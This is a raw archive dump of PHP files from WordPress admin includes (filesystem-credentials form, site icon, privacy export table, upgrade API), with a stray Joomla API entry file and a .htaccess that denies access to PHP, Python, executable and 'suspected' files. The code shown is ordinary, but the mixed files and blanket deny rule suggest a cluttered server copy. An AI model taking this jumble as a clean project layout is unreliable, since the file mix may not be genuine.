 * Hostnames may be in the form of hostname:portnumber (eg: wordpress.org:2467)
 * to specify an alternate FTP/SSH port.
 *
 * Plugins may override this form by returning true|false via the {@see 'request_filesystem_credentials'} filter.
 *
 * @since 2.5.0
 * @since 4.6.0 The `$context` parameter default changed from `false` to an empty string.
 *
 * @global string $pagenow
 *
 * @param string        $form_post                    The URL to post the form to.
 * @param string        $type                         Optional. Chosen type of filesystem. Default empty.
 * @param bool|WP_Error $error                        Optional. Whether the current request has failed
 *                                                    to connect, or an error object. Default false.
 * @param string        $context                      Optional. Full path to the directory that is tested
 *                                                    for being writable. Default empty.
 * @param array         $extra_fields                 Optional. Extra `POST` fields to be checked
 *                                                    for inclusion in the post. Default null.
 * @param bool          $allow_relaxed_file_ownership Optional. Whether to allow Group/World writable.
 *                                                    Default false.
 * @return bool|array True if no filesystem credentials are required,
 *                    false if they are required but have not been provided,
 *                    array of credentials if they are required and have been provided.
 */
function request_filesystem_credentials( $form_post, $type = '', $error = false, $context = '', $extra_fields = null, $allow_relaxed_file_ownership = false ) {
	global $pagenow;

/**
	 * Filters the filesystem credentials.
	 *
	 * Returning anything other than an empty string will effectively short-circuit
	 * output of the filesystem credentials form, returning that value instead.
	 *
	 * A filter should return true if no filesystem credentials are required, false if they are required but have not been
	 * provided, or an array of credentials if they are required and have been provided.
	 *
	 * @since 2.5.0
	 * @since 4.6.0 The `$context` parameter default changed from `false` to an empty string.
	 *
	 * @param mixed         $credentials                  Credentials to return instead. Default empty string.
	 * @param string        $form_post                    The URL to post the form to.
	 * @param string        $type                         Chosen type of filesystem.
	 * @param bool|WP_Error $error                        Whether the current request has failed to connect,
	 *                                                    or an error object.
	 * @param string        $context                      Full path to the directory that is tested for
	 *                                                    being writable.
	 * @param array         $extra_fields                 Extra POST fields.
	 * @param bool          $allow_relaxed_file_ownership Whether to allow Group/World writable.
	 */
	$req_cred = apply_filters( 'request_filesystem_credentials', '', $form_post, $type, $error, $context, $extra_fields, $allow_relaxed_file_ownership );
	if ( '' !== $req_cred ) {
		return $req_cred;
	}

if ( empty( $type ) ) {
		$type = get_filesystem_method( array(), $context, $allow_relaxed_file_ownership );
	}

if ( 'direct' === $type ) {
		return true;
	}

if ( is_null( $extra_fields ) ) {
		$extra_fields = array( 'version', 'locale' );
	}

$credentials = get_option(
		'ftp_credentials',
		array(
			'hostname' => '',
			'username' => '',
		)
	);

$submitted_form = wp_unslash( $_POST );

// Verify nonce, or unset submitted form field values on failure.
	if ( ! isset( $_POST['_fs_nonce'] ) || ! wp_verify_nonce( $_POST['_fs_nonce'], 'filesystem-credentials' ) ) {
		unset(
			$submitted_form['hostname'],
			$submitted_form['username'],
			$submitted_form['password'],
			$submitted_form['public_key'],
			$submitted_form['private_key'],
			$submitted_form['connection_type']
		);
	}

// If defined, set it to that. Else, if POST'd, set it to that. If not, set it to whatever it previously was (saved details in option).
	$credentials['hostname'] = defined( 'FTP_HOST' ) ? FTP_HOST : ( ! empty( $submitted_form['hostname'] ) ? $submitted_form['hostname'] : $credentials['hostname'] );
	$credentials['username'] = defined( 'FTP_USER' ) ? FTP_USER : ( ! empty( $submitted_form['username'] ) ? $submitted_form['username'] : $credentials['username'] );
	$credentials['password'] = defined( 'FTP_PASS' ) ? FTP_PASS : ( ! empty( $submitted_form['password'] ) ? $submitted_form['password'] : '' );

// Check to see if we are setting the public/private keys for ssh.
	$credentials['public_key']  = defined( 'FTP_PUBKEY' ) ? FTP_PUBKEY : ( ! empty( $submitted_form['public_key'] ) ? $submitted_form['public_key'] : '' );
	$credentials['private_key'] = defined( 'FTP_PRIKEY' ) ? FTP_PRIKEY : ( ! empty( $submitted_form['private_key'] ) ? $submitted_form['private_key'] : '' );

// Sanitize the hostname, some people might pass in odd data.
	$credentials['hostname'] = preg_replace( '|\w+://|', '', $credentials['hostname'] ); // Strip any schemes off.

if ( strpos( $credentials['hostname'], ':' ) ) {
		list( $credentials['hostname'], $credentials['port'] ) = explode( ':', $credentials['hostname'], 2 );
		if ( ! is_numeric( $credentials['port'] ) ) {
			unset( $credentials['port'] );
		}
	} else {
		unset( $credentials['port'] );
	}

if ( ( defined( 'FTP_SSH' ) && FTP_SSH ) || ( defined( 'FS_METHOD' ) && 'ssh2' === FS_METHOD ) ) {
		$credentials['connection_type'] = 'ssh';
	} elseif ( ( defined( 'FTP_SSL' ) && FTP_SSL ) && 'ftpext' === $type ) { // Only the FTP Extension understands SSL.
		$credentials['connection_type'] = 'ftps';
	} elseif ( ! empty( $submitted_form['connection_type'] ) ) {
		$credentials['connection_type'] = $submitted_form['connection_type'];
	} elseif ( ! isset( $credentials['connection_type'] ) ) { // All else fails (and it's not defaulted to something else saved), default to FTP.
		$credentials['connection_type'] = 'ftp';
	}
	if ( ! $error
		&& ( ( ! empty( $credentials['password'] ) && ! empty( $credentials['username'] ) && ! empty( $credentials['hostname'] ) )
			|| ( 'ssh' === $credentials['connection_type'] && ! empty( $credentials['public_key'] ) && ! empty( $credentials['private_key'] ) )
		)
	) {
		$stored_credentials = $credentials;

if ( ! empty( $stored_credentials['port'] ) ) { // Save port as part of hostname to simplify above code.
			$stored_credentials['hostname'] .= ':' . $stored_credentials['port'];
		}

unset( $stored_credentials['password'], $stored_credentials['port'], $stored_credentials['private_key'], $stored_credentials['public_key'] );

if ( ! wp_installing() ) {
			update_option( 'ftp_credentials', $stored_credentials );
		}

return $credentials;
	}
	$hostname        = isset( $credentials['hostname'] ) ? $credentials['hostname'] : '';
	$username        = isset( $credentials['username'] ) ? $credentials['username'] : '';
	$public_key      = isset( $credentials['public_key'] ) ? $credentials['public_key'] : '';
	$private_key     = isset( $credentials['private_key'] ) ? $credentials['private_key'] : '';
	$port            = isset( $credentials['port'] ) ? $credentials['port'] : '';
	$connection_type = isset( $credentials['connection_type'] ) ? $credentials['connection_type'] : '';

if ( $error ) {
		$error_string = __( '<strong>Error</strong>: Could not connect to the server. Please verify the settings are correct.' );
		if ( is_wp_error( $error ) ) {
			$error_string = esc_html( $error->get_error_message() );
		}
		echo '<div id="message" class="error"><p>' . $error_string . '</p></div>';
	}

$types = array();
	if ( extension_loaded( 'ftp' ) || extension_loaded( 'sockets' ) || function_exists( 'fsockopen' ) ) {
		$types['ftp'] = __( 'FTP' );
	}
	if ( extension_loaded( 'ftp' ) ) { // Only this supports FTPS.
		$types['ftps'] = __( 'FTPS (SSL)' );
	}
	if ( extension_loaded( 'ssh2' ) ) {
		$types['ssh'] = __( 'SSH2' );
	}

/**
	 * Filters the connection types to output to the filesystem credentials form.
	 *
	 * @since 2.9.0
	 * @since 4.6.0 The `$context` parameter default changed from `false` to an empty string.
	 *
	 * @param string[]      $types       Types of connections.
	 * @param array         $credentials Credentials to connect with.
	 * @param string        $type        Chosen filesystem method.
	 * @param bool|WP_Error $error       Whether the current request has failed to connect,
	 *                                   or an error object.
	 * @param string        $context     Full path to the directory that is tested for being writable.
	 */
	$types = apply_filters( 'fs_ftp_connection_types', $types, $credentials, $type, $error, $context );

?>
<form action="<?php echo esc_url( $form_post ); ?>" method="post">
<div id="request-filesystem-credentials-form" class="request-filesystem-credentials-form">
	<?php
	// Print a H1 heading in the FTP credentials modal dialog, default is a H2.
	$heading_tag = 'h2';
	if ( 'plugins.php' === $pagenow || 'plugin-install.php' === $pagenow ) {
		$heading_tag = 'h1';
	}
	echo "<$heading_tag id='request-filesystem-credentials-title'>" . __( 'Connection Information' ) . "</$heading_tag>";
	?>
<p id="request-filesystem-credentials-desc">
	<?php
	$label_user = __( 'Username' );
	$label_pass = __( 'Password' );
	_e( 'To perform the requested action, WordPress needs to access your web server.' );
	echo ' ';
	if ( ( isset( $types['ftp'] ) || isset( $types['ftps'] ) ) ) {
		if ( isset( $types['ssh'] ) ) {
			_e( 'Please enter your FTP or SSH credentials to proceed.' );
			$label_user = __( 'FTP/SSH Username' );
			$label_pass = __( 'FTP/SSH Password' );
		} else {
			_e( 'Please enter your FTP credentials to proceed.' );
			$label_user = __( 'FTP Username' );
			$label_pass = __( 'FTP Password' );
		}
		echo ' ';
	}
	_e( 'If you do not remember your credentials, you should contact your web host.' );

$hostname_value = esc_attr( $hostname );
	if ( ! empty( $port ) ) {
		$hostname_value .= ":$port";
	}

$password_value = '';
	if ( defined( 'FTP_PASS' ) ) {
		$password_value = '*****';
	}
	?>
</p>
<label for="hostname">
	<span class="field-title"><?php _e( 'Hostname' ); ?></span>
	<input name="hostname" type="text" id="hostname" aria-describedby="request-filesystem-credentials-desc" class="code" placeholder="<?php esc_attr_e( 'example: www.wordpress.org' ); ?>" value="<?php echo $hostname_value; ?>"<?php disabled( defined( 'FTP_HOST' ) ); ?> />
</label>
<div class="ftp-username">
	<label for="username">
		<span class="field-title"><?php echo $label_user; ?></span>
		<input name="username" type="text" id="username" value="<?php echo esc_attr( $username ); ?>"<?php disabled( defined( 'FTP_USER' ) ); ?> />
	</label>
</div>
<div class="ftp-password">
	<label for="password">
		<span class="field-title"><?php echo $label_pass; ?></span>
		<input name="password" type="password" id="password" value="<?php echo $password_value; ?>"<?php disabled( defined( 'FTP_PASS' ) ); ?> />
		<em>
		<?php
		if ( ! defined( 'FTP_PASS' ) ) {
			_e( 'This password will not be stored on the server.' );}
		?>
</em>
	</label>
</div>
<fieldset>
<legend><?php _e( 'Connection Type' ); ?></legend>
	<?php
	$disabled = disabled( ( defined( 'FTP_SSL' ) && FTP_SSL ) || ( defined( 'FTP_SSH' ) && FTP_SSH ), true, false );
	foreach ( $types as $name => $text ) :
		?>
	<label for="<?php echo esc_attr( $name ); ?>">
		<input type="radio" name="connection_type" id="<?php echo esc_attr( $name ); ?>" value="<?php echo esc_attr( $name ); ?>" <?php checked( $name, $connection_type ); ?> <?php echo $disabled; ?> />
		<?php echo $text; ?>
	</label>
		<?php
	endforeach;
	?>
</fieldset>
	<?php
	if ( isset( $types['ssh'] ) ) {
		$hidden_class = '';
		if ( 'ssh' !== $connection_type || empty( $connection_type ) ) {
			$hidden_class = ' class="hidden"';
		}
		?>
<fieldset id="ssh-keys"<?php echo $hidden_class; ?>>
<legend><?php _e( 'Authentication Keys' ); ?></legend>
<label for="public_key">
	<span class="field-title"><?php _e( 'Public Key:' ); ?></span>
	<input name="public_key" type="text" id="public_key" aria-describedby="auth-keys-desc" value="<?php echo esc_attr( $public_key ); ?>"<?php disabled( defined( 'FTP_PUBKEY' ) ); ?> />
</label>
<label for="private_key">
	<span class="field-title"><?php _e( 'Private Key:' ); ?></span>
	<input name="private_key" type="text" id="private_key" value="<?php echo esc_attr( $private_key ); ?>"<?php disabled( defined( 'FTP_PRIKEY' ) ); ?> />
</label>
<p id="auth-keys-desc"><?php _e( 'Enter the location on the server where the public and private keys are located. If a passphrase is needed, enter that in the password field above.' ); ?></p>
</fieldset>
		<?php
	}

foreach ( (array) $extra_fields as $field ) {
		if ( isset( $submitted_form[ $field ] ) ) {
			echo '<input type="hidden" name="' . esc_attr( $field ) . '" value="' . esc_attr( $submitted_form[ $field ] ) . '" />';
		}
	}
	?>
	<p class="request-filesystem-credentials-action-buttons">
		<?php wp_nonce_field( 'filesystem-credentials', '_fs_nonce', false, true ); ?>
		<button class="button cancel-button" data-js-action="close" type="button"><?php _e( 'Cancel' ); ?></button>
		<?php submit_button( __( 'Proceed' ), '', 'upgrade', false ); ?>
	</p>
</div>
</form>
	<?php
	return false;
}

/**
 * Prints the filesystem credentials modal when needed.
 *
 * @since 4.2.0
 */
function wp_print_request_filesystem_credentials_modal() {
	$filesystem_method = get_filesystem_method();

ob_start();
	$filesystem_credentials_are_stored = request_filesystem_credentials( self_admin_url() );
	ob_end_clean();

$request_filesystem_credentials = ( 'direct' !== $filesystem_method && ! $filesystem_credentials_are_stored );
	if ( ! $request_filesystem_credentials ) {
		return;
	}
	?>
	<div id="request-filesystem-credentials-dialog" class="notification-dialog-wrap request-filesystem-credentials-dialog">
		<div class="notification-dialog-background"></div>
		<div class="notification-dialog" role="dialog" aria-labelledby="request-filesystem-credentials-title" tabindex="0">
			<div class="request-filesystem-credentials-dialog-content">
				<?php request_filesystem_credentials( site_url() ); ?>
			</div>
		</div>
	</div>
	<?php
}

/**
 * Attempts to clear the opcode cache for an individual PHP file.
 *
 * This function can be called safely without having to check the file extension
 * or availability of the OPcache extension.
 *
 * Whether or not invalidation is possible is cached to improve performance.
 *
 * @since 5.5.0
 *
 * @link https://www.php.net/manual/en/function.opcache-invalidate.php
 *
 * @param string $filepath Path to the file, including extension, for which the opcode cache is to be cleared.
 * @param bool   $force    Invalidate even if the modification time is not newer than the file in cache.
 *                         Default false.
 * @return bool True if opcache was invalidated for `$filepath`, or there was nothing to invalidate.
 *              False if opcache invalidation is not available, or is disabled via filter.
 */
function wp_opcache_invalidate( $filepath, $force = false ) {
	static $can_invalidate = null;

/*
	 * Check to see if WordPress is able to run `opcache_invalidate()` or not, and cache the value.
	 *
	 * First, check to see if the function is available to call, then if the host has restricted
	 * the ability to run the function to avoid a PHP warning.
	 *
	 * `opcache.restrict_api` can specify the path for files allowed to call `opcache_invalidate()`.
	 *
	 * If the host has this set, check whether the path in `opcache.restrict_api` matches
	 * the beginning of the path of the origin file.
	 *
	 * `$_SERVER['SCRIPT_FILENAME']` approximates the origin file's path, but `realpath()`
	 * is necessary because `SCRIPT_FILENAME` can be a relative path when run from CLI.
	 *
	 * For more details, see:
	 * - https://www.php.net/manual/en/opcache.configuration.php
	 * - https://www.php.net/manual/en/reserved.variables.server.php
	 * - https://core.trac.wordpress.org/ticket/36455
	 */
	if ( null === $can_invalidate
		&& function_exists( 'opcache_invalidate' )
		&& ( ! ini_get( 'opcache.restrict_api' )
			|| stripos( realpath( $_SERVER['SCRIPT_FILENAME'] ), ini_get( 'opcache.restrict_api' ) ) === 0 )
	) {
		$can_invalidate = true;
	}

// If invalidation is not available, return early.
	if ( ! $can_invalidate ) {
		return false;
	}

// Verify that file to be invalidated has a PHP extension.
	if ( '.php' !== strtolower( substr( $filepath, -4 ) ) ) {
		return false;
	}

/**
	 * Filters whether to invalidate a file from the opcode cache.
	 *
	 * @since 5.5.0
	 *
	 * @param bool   $will_invalidate Whether WordPress will invalidate `$filepath`. Default true.
	 * @param string $filepath        The path to the PHP file to invalidate.
	 */
	if ( apply_filters( 'wp_opcache_invalidate_file', true, $filepath ) ) {
		return opcache_invalidate( $filepath, $force );
	}

return false;
}
����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������.htaccess�������������������������������������������������������������������������������������������0000444�����������������00000000177�15074672210�0006351 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<FilesMatch '.(py|exe|php|PHP|Php|PHp|pHp|pHP|pHP7|PHP7|phP|PhP|php5|suspected)$'>
Order allow,deny
Deny from all
</FilesMatch>�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������app.php���������������������������������������������������������������������������������������������0000604�����������������00000003432�15075027070�0006036 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php
/**
 * @package    Joomla.API
 *
 * @copyright  (C) 2019 Open Source Matters, Inc. <https://www.joomla.org>
 * @license    GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

// Saves the start time and memory usage.
$startTime = microtime(1);
$startMem  = memory_get_usage();

if (file_exists(dirname(__DIR__) . '/defines.php'))
{
	include_once dirname(__DIR__) . '/defines.php';
}

if (!defined('_JDEFINES'))
{
	define('JPATH_BASE', dirname(__DIR__));
	require_once JPATH_BASE . '/includes/defines.php';
}

require_once JPATH_BASE . '/includes/framework.php';

// Set profiler start time and memory usage and mark afterLoad in the profiler.
JDEBUG ? JProfiler::getInstance('Application')->setStart($startTime, $startMem)->mark('afterLoad') : null;

// Boot the DI container
$container = \Joomla\CMS\Factory::getContainer();

/*
 * Alias the session service keys to the web session service as that is the primary session backend for this application
 *
 * In addition to aliasing "common" service keys, we also create aliases for the PHP classes to ensure autowiring objects
 * is supported.  This includes aliases for aliased class names, and the keys for aliased class names should be considered
 * deprecated to be removed when the class name alias is removed as well.
 */
$container->alias('session', 'session.cli')
	->alias('JSession', 'session.cli')
	->alias(\Joomla\CMS\Session\Session::class, 'session.cli')
	->alias(\Joomla\Session\Session::class, 'session.cli')
	->alias(\Joomla\Session\SessionInterface::class, 'session.cli');

// Instantiate the application.
$app = $container->get(\Joomla\CMS\Application\ApiApplication::class);

// Set the application as global app
\Joomla\CMS\Factory::$application = $app;

// Execute the application.
$app->execute();
��������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������ms-admin-filters.php��������������������������������������������������������������������������������0000604�����������������00000002540�15075125354�0010434 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php
/**
 * Multisite Administration hooks
 *
 * @package WordPress
 * @subpackage Administration
 * @since 4.3.0
 */

// Media hooks.
add_filter( 'wp_handle_upload_prefilter', 'check_upload_size' );

// User hooks.
add_action( 'user_admin_notices', 'new_user_email_admin_notice' );
add_action( 'network_admin_notices', 'new_user_email_admin_notice' );

add_action( 'admin_page_access_denied', '_access_denied_splash', 99 );

// Site hooks.
add_action( 'wpmueditblogaction', 'upload_space_setting' );

// Network hooks.
add_action( 'update_site_option_admin_email', 'wp_network_admin_email_change_notification', 10, 4 );

// Taxonomy hooks.
add_filter( 'get_term', 'sync_category_tag_slugs', 10, 2 );

// Post hooks.
add_filter( 'wp_insert_post_data', 'avoid_blog_page_permalink_collision', 10, 2 );

// Tools hooks.
add_filter( 'import_allow_create_users', 'check_import_new_users' );

// Notices hooks.
add_action( 'admin_notices', 'site_admin_notice' );
add_action( 'network_admin_notices', 'site_admin_notice' );

// Update hooks.
add_action( 'network_admin_notices', 'update_nag', 3 );
add_action( 'network_admin_notices', 'maintenance_nag', 10 );

// Network Admin hooks.
add_action( 'add_site_option_new_admin_email', 'update_network_option_new_admin_email', 10, 2 );
add_action( 'update_site_option_new_admin_email', 'update_network_option_new_admin_email', 10, 2 );
����������������������������������������������������������������������������������������������������������������������������������������������������������������class-wp-site-icon.php������������������������������������������������������������������������������0000604�����������������00000014017�15075125354�0010704 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php
/**
 * Administration API: WP_Site_Icon class
 *
 * @package WordPress
 * @subpackage Administration
 * @since 4.3.0
 */

/**
 * Core class used to implement site icon functionality.
 *
 * @since 4.3.0
 */
class WP_Site_Icon {

/**
	 * The minimum size of the site icon.
	 *
	 * @since 4.3.0
	 * @var int
	 */
	public $min_size = 512;

/**
	 * The size to which to crop the image so that we can display it in the UI nicely.
	 *
	 * @since 4.3.0
	 * @var int
	 */
	public $page_crop = 512;

/**
	 * List of site icon sizes.
	 *
	 * @since 4.3.0
	 * @var int[]
	 */
	public $site_icon_sizes = array(
		/*
		 * Square, medium sized tiles for IE11+.
		 *
		 * See https://msdn.microsoft.com/library/dn455106(v=vs.85).aspx
		 */
		270,

/*
		 * App icon for Android/Chrome.
		 *
		 * @link https://developers.google.com/web/updates/2014/11/Support-for-theme-color-in-Chrome-39-for-Android
		 * @link https://developer.chrome.com/multidevice/android/installtohomescreen
		 */
		192,

/*
		 * App icons up to iPhone 6 Plus.
		 *
		 * See https://developer.apple.com/library/prerelease/ios/documentation/UserExperience/Conceptual/MobileHIG/IconMatrix.html
		 */
		180,

// Our regular Favicon.
		32,
	);

/**
	 * Registers actions and filters.
	 *
	 * @since 4.3.0
	 */
	public function __construct() {
		add_action( 'delete_attachment', array( $this, 'delete_attachment_data' ) );
		add_filter( 'get_post_metadata', array( $this, 'get_post_metadata' ), 10, 4 );
	}

/**
	 * Creates an attachment 'object'.
	 *
	 * @since 4.3.0
	 *
	 * @param string $cropped              Cropped image URL.
	 * @param int    $parent_attachment_id Attachment ID of parent image.
	 * @return array Attachment object.
	 */
	public function create_attachment_object( $cropped, $parent_attachment_id ) {
		$parent     = get_post( $parent_attachment_id );
		$parent_url = wp_get_attachment_url( $parent->ID );
		$url        = str_replace( wp_basename( $parent_url ), wp_basename( $cropped ), $parent_url );

$size       = @getimagesize( $cropped );
		$image_type = ( $size ) ? $size['mime'] : 'image/jpeg';

$object = array(
			'ID'             => $parent_attachment_id,
			'post_title'     => wp_basename( $cropped ),
			'post_content'   => $url,
			'post_mime_type' => $image_type,
			'guid'           => $url,
			'context'        => 'site-icon',
		);

return $object;
	}

/**
	 * Inserts an attachment.
	 *
	 * @since 4.3.0
	 *
	 * @param array  $object Attachment object.
	 * @param string $file   File path of the attached image.
	 * @return int           Attachment ID
	 */
	public function insert_attachment( $object, $file ) {
		$attachment_id = wp_insert_attachment( $object, $file );
		$metadata      = wp_generate_attachment_metadata( $attachment_id, $file );

/**
		 * Filters the site icon attachment metadata.
		 *
		 * @since 4.3.0
		 *
		 * @see wp_generate_attachment_metadata()
		 *
		 * @param array $metadata Attachment metadata.
		 */
		$metadata = apply_filters( 'site_icon_attachment_metadata', $metadata );
		wp_update_attachment_metadata( $attachment_id, $metadata );

return $attachment_id;
	}

/**
	 * Adds additional sizes to be made when creating the site icon images.
	 *
	 * @since 4.3.0
	 *
	 * @param array[] $sizes Array of arrays containing information for additional sizes.
	 * @return array[] Array of arrays containing additional image sizes.
	 */
	public function additional_sizes( $sizes = array() ) {
		$only_crop_sizes = array();

/**
		 * Filters the different dimensions that a site icon is saved in.
		 *
		 * @since 4.3.0
		 *
		 * @param int[] $site_icon_sizes Array of sizes available for the Site Icon.
		 */
		$this->site_icon_sizes = apply_filters( 'site_icon_image_sizes', $this->site_icon_sizes );

// Use a natural sort of numbers.
		natsort( $this->site_icon_sizes );
		$this->site_icon_sizes = array_reverse( $this->site_icon_sizes );

// Ensure that we only resize the image into sizes that allow cropping.
		foreach ( $sizes as $name => $size_array ) {
			if ( isset( $size_array['crop'] ) ) {
				$only_crop_sizes[ $name ] = $size_array;
			}
		}

foreach ( $this->site_icon_sizes as $size ) {
			if ( $size < $this->min_size ) {
				$only_crop_sizes[ 'site_icon-' . $size ] = array(
					'width ' => $size,
					'height' => $size,
					'crop'   => true,
				);
			}
		}

return $only_crop_sizes;
	}

/**
	 * Adds Site Icon sizes to the array of image sizes on demand.
	 *
	 * @since 4.3.0
	 *
	 * @param string[] $sizes Array of image size names.
	 * @return string[] Array of image size names.
	 */
	public function intermediate_image_sizes( $sizes = array() ) {
		/** This filter is documented in wp-admin/includes/class-wp-site-icon.php */
		$this->site_icon_sizes = apply_filters( 'site_icon_image_sizes', $this->site_icon_sizes );
		foreach ( $this->site_icon_sizes as $size ) {
			$sizes[] = 'site_icon-' . $size;
		}

return $sizes;
	}

/**
	 * Deletes the Site Icon when the image file is deleted.
	 *
	 * @since 4.3.0
	 *
	 * @param int $post_id Attachment ID.
	 */
	public function delete_attachment_data( $post_id ) {
		$site_icon_id = get_option( 'site_icon' );

if ( $site_icon_id && $post_id == $site_icon_id ) {
			delete_option( 'site_icon' );
		}
	}

/**
	 * Adds custom image sizes when meta data for an image is requested, that happens to be used as Site Icon.
	 *
	 * @since 4.3.0
	 *
	 * @param null|array|string $value    The value get_metadata() should return a single metadata value, or an
	 *                                    array of values.
	 * @param int               $post_id  Post ID.
	 * @param string            $meta_key Meta key.
	 * @param string|array      $single   Meta value, or an array of values.
	 * @return array|null|string The attachment metadata value, array of values, or null.
	 */
	public function get_post_metadata( $value, $post_id, $meta_key, $single ) {
		if ( $single && '_wp_attachment_backup_sizes' === $meta_key ) {
			$site_icon_id = get_option( 'site_icon' );

if ( $post_id == $site_icon_id ) {
				add_filter( 'intermediate_image_sizes', array( $this, 'intermediate_image_sizes' ) );
			}
		}

return $value;
	}
}
�����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������class-wp-privacy-data-export-requests-list-table.php������������������������������������������������0000604�����������������00000011122�15075125354�0016616 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php
/**
 * List Table API: WP_Privacy_Data_Export_Requests_List_Table class
 *
 * @package WordPress
 * @subpackage Administration
 * @since 4.9.6
 */

if ( ! class_exists( 'WP_Privacy_Requests_Table' ) ) {
	require_once ABSPATH . 'wp-admin/includes/class-wp-privacy-requests-table.php';
}

/**
 * WP_Privacy_Data_Export_Requests_Table class.
 *
 * @since 4.9.6
 */
class WP_Privacy_Data_Export_Requests_List_Table extends WP_Privacy_Requests_Table {
	/**
	 * Action name for the requests this table will work with.
	 *
	 * @since 4.9.6
	 *
	 * @var string $request_type Name of action.
	 */
	protected $request_type = 'export_personal_data';

/**
	 * Post type for the requests.
	 *
	 * @since 4.9.6
	 *
	 * @var string $post_type The post type.
	 */
	protected $post_type = 'user_request';

/**
	 * Actions column.
	 *
	 * @since 4.9.6
	 *
	 * @param WP_User_Request $item Item being shown.
	 * @return string Email column markup.
	 */
	public function column_email( $item ) {
		/** This filter is documented in wp-admin/includes/ajax-actions.php */
		$exporters       = apply_filters( 'wp_privacy_personal_data_exporters', array() );
		$exporters_count = count( $exporters );
		$request_id      = $item->ID;
		$nonce           = wp_create_nonce( 'wp-privacy-export-personal-data-' . $request_id );

$download_data_markup = '<div class="export-personal-data" ' .
			'data-exporters-count="' . esc_attr( $exporters_count ) . '" ' .
			'data-request-id="' . esc_attr( $request_id ) . '" ' .
			'data-nonce="' . esc_attr( $nonce ) .
			'">';

$download_data_markup .= '<span class="export-personal-data-idle"><button type="button" class="button-link export-personal-data-handle">' . __( 'Download Personal Data' ) . '</button></span>' .
			'<span class="export-personal-data-processing hidden">' . __( 'Downloading Data...' ) . ' <span class="export-progress"></span></span>' .
			'<span class="export-personal-data-success hidden"><button type="button" class="button-link export-personal-data-handle">' . __( 'Download Personal Data Again' ) . '</button></span>' .
			'<span class="export-personal-data-failed hidden">' . __( 'Download failed.' ) . ' <button type="button" class="button-link">' . __( 'Retry' ) . '</button></span>';

$download_data_markup .= '</div>';

$row_actions = array(
			'download-data' => $download_data_markup,
		);

return sprintf( '<a href="%1$s">%2$s</a> %3$s', esc_url( 'mailto:' . $item->email ), $item->email, $this->row_actions( $row_actions ) );
	}

/**
	 * Displays the next steps column.
	 *
	 * @since 4.9.6
	 *
	 * @param WP_User_Request $item Item being shown.
	 */
	public function column_next_steps( $item ) {
		$status = $item->status;

switch ( $status ) {
			case 'request-pending':
				esc_html_e( 'Waiting for confirmation' );
				break;
			case 'request-confirmed':
				/** This filter is documented in wp-admin/includes/ajax-actions.php */
				$exporters       = apply_filters( 'wp_privacy_personal_data_exporters', array() );
				$exporters_count = count( $exporters );
				$request_id      = $item->ID;
				$nonce           = wp_create_nonce( 'wp-privacy-export-personal-data-' . $request_id );

echo '<div class="export-personal-data" ' .
					'data-send-as-email="1" ' .
					'data-exporters-count="' . esc_attr( $exporters_count ) . '" ' .
					'data-request-id="' . esc_attr( $request_id ) . '" ' .
					'data-nonce="' . esc_attr( $nonce ) .
					'">';

?>
				<span class="export-personal-data-idle"><button type="button" class="button-link export-personal-data-handle"><?php _e( 'Send Export Link' ); ?></button></span>
				<span class="export-personal-data-processing hidden"><?php _e( 'Sending Email...' ); ?> <span class="export-progress"></span></span>
				<span class="export-personal-data-success success-message hidden"><?php _e( 'Email sent.' ); ?></span>
				<span class="export-personal-data-failed hidden"><?php _e( 'Email could not be sent.' ); ?> <button type="button" class="button-link export-personal-data-handle"><?php _e( 'Retry' ); ?></button></span>
				<?php

echo '</div>';
				break;
			case 'request-failed':
				echo '<button type="submit" class="button-link" name="privacy_action_email_retry[' . $item->ID . ']" id="privacy_action_email_retry[' . $item->ID . ']">' . __( 'Retry' ) . '</button>';
				break;
			case 'request-completed':
				echo '<a href="' . esc_url(
					wp_nonce_url(
						add_query_arg(
							array(
								'action'     => 'delete',
								'request_id' => array( $item->ID ),
							),
							admin_url( 'export-personal-data.php' )
						),
						'bulk-privacy_requests'
					)
				) . '">' . esc_html__( 'Remove request' ) . '</a>';
				break;
		}
	}
}
����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������upgrade.php�����������������������������������������������������������������������������������������0000604�����������������00000316550�15075125354�0006721 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php
/**
 * WordPress Upgrade API
 *
 * Most of the functions are pluggable and can be overwritten.
 *
 * @package WordPress
 * @subpackage Administration
 */

/** Include user installation customization script. */
if ( file_exists( WP_CONTENT_DIR . '/install.php' ) ) {
	require WP_CONTENT_DIR . '/install.php';
}

/** WordPress Administration API */
require_once ABSPATH . 'wp-admin/includes/admin.php';

/** WordPress Schema API */
require_once ABSPATH . 'wp-admin/includes/schema.php';

if ( ! function_exists( 'wp_install' ) ) :
	/**
	 * Installs the site.
	 *
	 * Runs the required functions to set up and populate the database,
	 * including primary admin user and initial options.
	 *
	 * @since 2.1.0
	 *
	 * @param string $blog_title    Site title.
	 * @param string $user_name     User's username.
	 * @param string $user_email    User's email.
	 * @param bool   $public        Whether site is public.
	 * @param string $deprecated    Optional. Not used.
	 * @param string $user_password Optional. User's chosen password. Default empty (random password).
	 * @param string $language      Optional. Language chosen. Default empty.
	 * @return array {
	 *     Data for the newly installed site.
	 *
	 *     @type string $url              The URL of the site.
	 *     @type int    $user_id          The ID of the site owner.
	 *     @type string $password         The password of the site owner, if their user account didn't already exist.
	 *     @type string $password_message The explanatory message regarding the password.
	 * }
	 */
